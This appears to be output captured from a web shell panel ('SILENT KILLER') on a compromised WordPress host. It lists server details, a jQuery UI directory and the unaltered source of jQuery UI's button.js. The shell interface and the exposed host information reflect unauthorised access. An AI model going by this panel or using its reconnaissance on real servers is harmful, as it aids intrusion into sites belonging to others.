SILENT KILLERPanel

Current Path: > home > codekrsu > > escapematrixonline.com > wp-includes > > js > jquery > ui


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//escapematrixonline.com/wp-includes//js/jquery/ui

NameTypeSizeLast ModifiedActions
accordion.js File 16138 bytes May 28 2024 01:14:16.
accordion.min.js File 8860 bytes February 06 2025 22:27:26.
autocomplete.js File 17530 bytes May 28 2024 01:14:16.
autocomplete.min.js File 8536 bytes February 06 2025 22:27:26.
button.js File 11706 bytes May 28 2024 01:14:16.
button.min.js File 6154 bytes February 06 2025 22:27:26.
checkboxradio.js File 7589 bytes May 28 2024 01:14:16.
checkboxradio.min.js File 4348 bytes February 06 2025 22:27:26.
controlgroup.js File 8626 bytes May 28 2024 01:14:16.
controlgroup.min.js File 4402 bytes February 06 2025 22:27:26.
core.js File 49888 bytes May 28 2024 01:14:16.
core.min.js File 21464 bytes February 06 2025 22:27:26.
datepicker.js File 82523 bytes May 28 2024 01:14:16.
datepicker.min.js File 36748 bytes February 06 2025 22:27:26.
dialog.js File 23896 bytes May 28 2024 01:14:16.
dialog.min.js File 13098 bytes February 06 2025 22:27:26.
draggable.js File 35546 bytes May 28 2024 01:14:16.
draggable.min.js File 18420 bytes February 06 2025 22:27:26.
droppable.js File 12899 bytes May 28 2024 01:14:16.
droppable.min.js File 6665 bytes February 06 2025 22:27:26.
effect-blind.js File 1644 bytes May 28 2024 01:14:16.
effect-blind.min.js File 880 bytes February 06 2025 22:27:26.
effect-bounce.js File 2660 bytes May 28 2024 01:14:16.
effect-bounce.min.js File 991 bytes February 06 2025 22:27:26.
effect-clip.js File 1577 bytes May 28 2024 01:14:16.
effect-clip.min.js File 796 bytes February 06 2025 22:27:26.
effect-drop.js File 1595 bytes May 28 2024 01:14:16.
effect-drop.min.js File 753 bytes February 06 2025 22:27:26.
effect-explode.js File 2924 bytes May 28 2024 01:14:16.
effect-explode.min.js File 1122 bytes February 06 2025 22:27:26.
effect-fade.js File 968 bytes May 28 2024 01:14:16.
effect-fade.min.js File 525 bytes February 06 2025 22:27:26.
effect-fold.js File 2185 bytes May 28 2024 01:14:16.
effect-fold.min.js File 1020 bytes February 06 2025 22:27:26.
effect-highlight.js File 1243 bytes May 28 2024 01:14:16.
effect-highlight.min.js File 648 bytes February 06 2025 22:27:26.
effect-puff.js File 995 bytes May 28 2024 01:14:16.
effect-puff.min.js File 510 bytes February 06 2025 22:27:26.
effect-pulsate.js File 1567 bytes May 28 2024 01:14:16.
effect-pulsate.min.js File 688 bytes February 06 2025 22:27:26.
effect-scale.js File 1373 bytes May 28 2024 01:14:16.
effect-scale.min.js File 723 bytes February 06 2025 22:27:26.
effect-shake.js File 1884 bytes May 28 2024 01:14:16.
effect-shake.min.js File 846 bytes February 06 2025 22:27:26.
effect-size.js File 5418 bytes May 28 2024 01:14:16.
effect-size.min.js File 2491 bytes February 06 2025 22:27:26.
effect-slide.js File 1967 bytes May 28 2024 01:14:16.
effect-slide.min.js File 917 bytes February 06 2025 22:27:26.
effect-transfer.js File 888 bytes May 28 2024 01:14:16.
effect-transfer.min.js File 442 bytes February 06 2025 22:27:26.
effect.js File 24613 bytes May 28 2024 01:14:16.
effect.min.js File 10332 bytes February 06 2025 22:27:26.
menu.js File 18960 bytes May 28 2024 01:14:16.
menu.min.js File 10199 bytes February 06 2025 22:27:26.
mouse.js File 6227 bytes May 28 2024 01:14:16.
mouse.min.js File 3428 bytes February 06 2025 22:27:26.
progressbar.js File 4239 bytes May 28 2024 01:14:16.
progressbar.min.js File 2558 bytes February 06 2025 22:27:26.
resizable.js File 30490 bytes May 28 2024 01:14:16.
resizable.min.js File 18824 bytes February 06 2025 22:27:26.
selectable.js File 8129 bytes May 28 2024 01:14:16.
selectable.min.js File 4506 bytes February 06 2025 22:27:26.
selectmenu.js File 16346 bytes May 28 2024 01:14:16.
selectmenu.min.js File 9502 bytes February 06 2025 22:27:26.
slider.js File 19599 bytes May 28 2024 01:14:16.
slider.min.js File 10759 bytes February 06 2025 22:27:26.
sortable.js File 47641 bytes May 28 2024 01:14:16.
sortable.min.js File 25504 bytes February 06 2025 22:27:26.
spinner.js File 14434 bytes May 28 2024 01:14:16.
spinner.min.js File 7676 bytes February 06 2025 22:27:26.
tabs.js File 23664 bytes May 28 2024 01:14:16.
tabs.min.js File 12008 bytes February 06 2025 22:27:26.
tooltip.js File 14476 bytes May 28 2024 01:14:16.
tooltip.min.js File 6244 bytes February 06 2025 22:27:26.

Reading File: /home/codekrsu//escapematrixonline.com/wp-includes//js/jquery/ui/button.js

/*!
 * jQuery UI Button 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Button
//>>group: Widgets
//>>description: Enhances a form with themeable buttons.
//>>docs: https://api.jqueryui.com/button/
//>>demos: https://jqueryui.com/button/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/button.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",

			// These are only for backcompat
			// TODO: Remove after 1.12
			"./controlgroup",
			"./checkboxradio",

			"../keycode",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.button", {
	version: "1.13.3",
	defaultElement: "<button>",
	options: {
		classes: {
			"ui-button": "ui-corner-all"
		},
		disabled: null,
		icon: null,
		iconPosition: "beginning",
		label: null,
		showLabel: true
	},

	_getCreateOptions: function() {
		var disabled,

			// This is to support cases like in jQuery Mobile where the base widget does have
			// an implementation of _getCreateOptions
			options = this._super() || {};

		this.isInput = this.element.is( "input" );

		disabled = this.element[ 0 ].disabled;
		if ( disabled != null ) {
			options.disabled = disabled;
		}

		this.originalLabel = this.isInput ? this.element.val() : this.element.html();
		if ( this.originalLabel ) {
			options.label = this.originalLabel;
		}

		return options;
	},

	_create: function() {
		if ( !this.option.showLabel & !this.options.icon ) {
			this.options.showLabel = true;
		}

		// We have to check the option again here even though we did in _getCreateOptions,
		// because null may have been passed on init which would override what was set in
		// _getCreateOptions
		if ( this.options.disabled == null ) {
			this.options.disabled = this.element[ 0 ].disabled || false;
		}

		this.hasTitle = !!this.element.attr( "title" );

		// Check to see if the label needs to be set or if its already correct
		if ( this.options.label && this.options.label !== this.originalLabel ) {
			if ( this.isInput ) {
				this.element.val( this.options.label );
			} else {
				this.element.html( this.options.label );
			}
		}
		this._addClass( "ui-button", "ui-widget" );
		this._setOption( "disabled", this.options.disabled );
		this._enhance();

		if ( this.element.is( "a" ) ) {
			this._on( {
				"keyup": function( event ) {
					if ( event.keyCode === $.ui.keyCode.SPACE ) {
						event.preventDefault();

						// Support: PhantomJS <= 1.9, IE 8 Only
						// If a native click is available use it so we actually cause navigation
						// otherwise just trigger a click event
						if ( this.element[ 0 ].click ) {
							this.element[ 0 ].click();
						} else {
							this.element.trigger( "click" );
						}
					}
				}
			} );
		}
	},

	_enhance: function() {
		if ( !this.element.is( "button" ) ) {
			this.element.attr( "role", "button" );
		}

		if ( this.options.icon ) {
			this._updateIcon( "icon", this.options.icon );
			this._updateTooltip();
		}
	},

	_updateTooltip: function() {
		this.title = this.element.attr( "title" );

		if ( !this.options.showLabel && !this.title ) {
			this.element.attr( "title", this.options.label );
		}
	},

	_updateIcon: function( option, value ) {
		var icon = option !== "iconPosition",
			position = icon ? this.options.iconPosition : value,
			displayBlock = position === "top" || position === "bottom";

		// Create icon
		if ( !this.icon ) {
			this.icon = $( "<span>" );

			this._addClass( this.icon, "ui-button-icon", "ui-icon" );

			if ( !this.options.showLabel ) {
				this._addClass( "ui-button-icon-only" );
			}
		} else if ( icon ) {

			// If we are updating the icon remove the old icon class
			this._removeClass( this.icon, null, this.options.icon );
		}

		// If we are updating the icon add the new icon class
		if ( icon ) {
			this._addClass( this.icon, null, value );
		}

		this._attachIcon( position );

		// If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove
		// the iconSpace if there is one.
		if ( displayBlock ) {
			this._addClass( this.icon, null, "ui-widget-icon-block" );
			if ( this.iconSpace ) {
				this.iconSpace.remove();
			}
		} else {

			// Position is beginning or end so remove the ui-widget-icon-block class and add the
			// space if it does not exist
			if ( !this.iconSpace ) {
				this.iconSpace = $( "<span> </span>" );
				this._addClass( this.iconSpace, "ui-button-icon-space" );
			}
			this._removeClass( this.icon, null, "ui-wiget-icon-block" );
			this._attachIconSpace( position );
		}
	},

	_destroy: function() {
		this.element.removeAttr( "role" );

		if ( this.icon ) {
			this.icon.remove();
		}
		if ( this.iconSpace ) {
			this.iconSpace.remove();
		}
		if ( !this.hasTitle ) {
			this.element.removeAttr( "title" );
		}
	},

	_attachIconSpace: function( iconPosition ) {
		this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace );
	},

	_attachIcon: function( iconPosition ) {
		this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon );
	},

	_setOptions: function( options ) {
		var newShowLabel = options.showLabel === undefined ?
				this.options.showLabel :
				options.showLabel,
			newIcon = options.icon === undefined ? this.options.icon : options.icon;

		if ( !newShowLabel && !newIcon ) {
			options.showLabel = true;
		}
		this._super( options );
	},

	_setOption: function( key, value ) {
		if ( key === "icon" ) {
			if ( value ) {
				this._updateIcon( key, value );
			} else if ( this.icon ) {
				this.icon.remove();
				if ( this.iconSpace ) {
					this.iconSpace.remove();
				}
			}
		}

		if ( key === "iconPosition" ) {
			this._updateIcon( key, value );
		}

		// Make sure we can't end up with a button that has neither text nor icon
		if ( key === "showLabel" ) {
				this._toggleClass( "ui-button-icon-only", null, !value );
				this._updateTooltip();
		}

		if ( key === "label" ) {
			if ( this.isInput ) {
				this.element.val( value );
			} else {

				// If there is an icon, append it, else nothing then append the value
				// this avoids removal of the icon when setting label text
				this.element.html( value );
				if ( this.icon ) {
					this._attachIcon( this.options.iconPosition );
					this._attachIconSpace( this.options.iconPosition );
				}
			}
		}

		this._super( key, value );

		if ( key === "disabled" ) {
			this._toggleClass( null, "ui-state-disabled", value );
			this.element[ 0 ].disabled = value;
			if ( value ) {
				this.element.trigger( "blur" );
			}
		}
	},

	refresh: function() {

		// Make sure to only check disabled if its an element that supports this otherwise
		// check for the disabled class to determine state
		var isDisabled = this.element.is( "input, button" ) ?
			this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" );

		if ( isDisabled !== this.options.disabled ) {
			this._setOptions( { disabled: isDisabled } );
		}

		this._updateTooltip();
	}
} );

// DEPRECATED
if ( $.uiBackCompat !== false ) {

	// Text and Icons options
	$.widget( "ui.button", $.ui.button, {
		options: {
			text: true,
			icons: {
				primary: null,
				secondary: null
			}
		},

		_create: function() {
			if ( this.options.showLabel && !this.options.text ) {
				this.options.showLabel = this.options.text;
			}
			if ( !this.options.showLabel && this.options.text ) {
				this.options.text = this.options.showLabel;
			}
			if ( !this.options.icon && ( this.options.icons.primary ||
					this.options.icons.secondary ) ) {
				if ( this.options.icons.primary ) {
					this.options.icon = this.options.icons.primary;
				} else {
					this.options.icon = this.options.icons.secondary;
					this.options.iconPosition = "end";
				}
			} else if ( this.options.icon ) {
				this.options.icons.primary = this.options.icon;
			}
			this._super();
		},

		_setOption: function( key, value ) {
			if ( key === "text" ) {
				this._super( "showLabel", value );
				return;
			}
			if ( key === "showLabel" ) {
				this.options.text = value;
			}
			if ( key === "icon" ) {
				this.options.icons.primary = value;
			}
			if ( key === "icons" ) {
				if ( value.primary ) {
					this._super( "icon", value.primary );
					this._super( "iconPosition", "beginning" );
				} else if ( value.secondary ) {
					this._super( "icon", value.secondary );
					this._super( "iconPosition", "end" );
				}
			}
			this._superApply( arguments );
		}
	} );

	$.fn.button = ( function( orig ) {
		return function( options ) {
			var isMethodCall = typeof options === "string";
			var args = Array.prototype.slice.call( arguments, 1 );
			var returnValue = this;

			if ( isMethodCall ) {

				// If this is an empty collection, we need to have the instance method
				// return undefined instead of the jQuery instance
				if ( !this.length && options === "instance" ) {
					returnValue = undefined;
				} else {
					this.each( function() {
						var methodValue;
						var type = $( this ).attr( "type" );
						var name = type !== "checkbox" && type !== "radio" ?
							"button" :
							"checkboxradio";
						var instance = $.data( this, "ui-" + name );

						if ( options === "instance" ) {
							returnValue = instance;
							return false;
						}

						if ( !instance ) {
							return $.error( "cannot call methods on button" +
								" prior to initialization; " +
								"attempted to call method '" + options + "'" );
						}

						if ( typeof instance[ options ] !== "function" ||
							options.charAt( 0 ) === "_" ) {
							return $.error( "no such method '" + options + "' for button" +
								" widget instance" );
						}

						methodValue = instance[ options ].apply( instance, args );

						if ( methodValue !== instance && methodValue !== undefined ) {
							returnValue = methodValue && methodValue.jquery ?
								returnValue.pushStack( methodValue.get() ) :
								methodValue;
							return false;
						}
					} );
				}
			} else {

				// Allow multiple hashes to be passed on init
				if ( args.length ) {
					options = $.widget.extend.apply( null, [ options ].concat( args ) );
				}

				this.each( function() {
					var type = $( this ).attr( "type" );
					var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio";
					var instance = $.data( this, "ui-" + name );

					if ( instance ) {
						instance.option( options || {} );
						if ( instance._init ) {
							instance._init();
						}
					} else {
						if ( name === "button" ) {
							orig.call( $( this ), options );
							return;
						}

						$( this ).checkboxradio( $.extend( { icon: false }, options ) );
					}
				} );
			}

			return returnValue;
		};
	} )( $.fn.button );

	$.fn.buttonset = function() {
		if ( !$.ui.controlgroup ) {
			$.error( "Controlgroup widget missing" );
		}
		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) {
			return this.controlgroup.apply( this,
				[ arguments[ 0 ], "items.button", arguments[ 2 ] ] );
		}
		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) {
			return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] );
		}
		if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) {
			arguments[ 0 ].items = {
				button: arguments[ 0 ].items
			};
		}
		return this.controlgroup.apply( this, arguments );
	};
}

return $.ui.button;

} );

SILENT KILLER Tool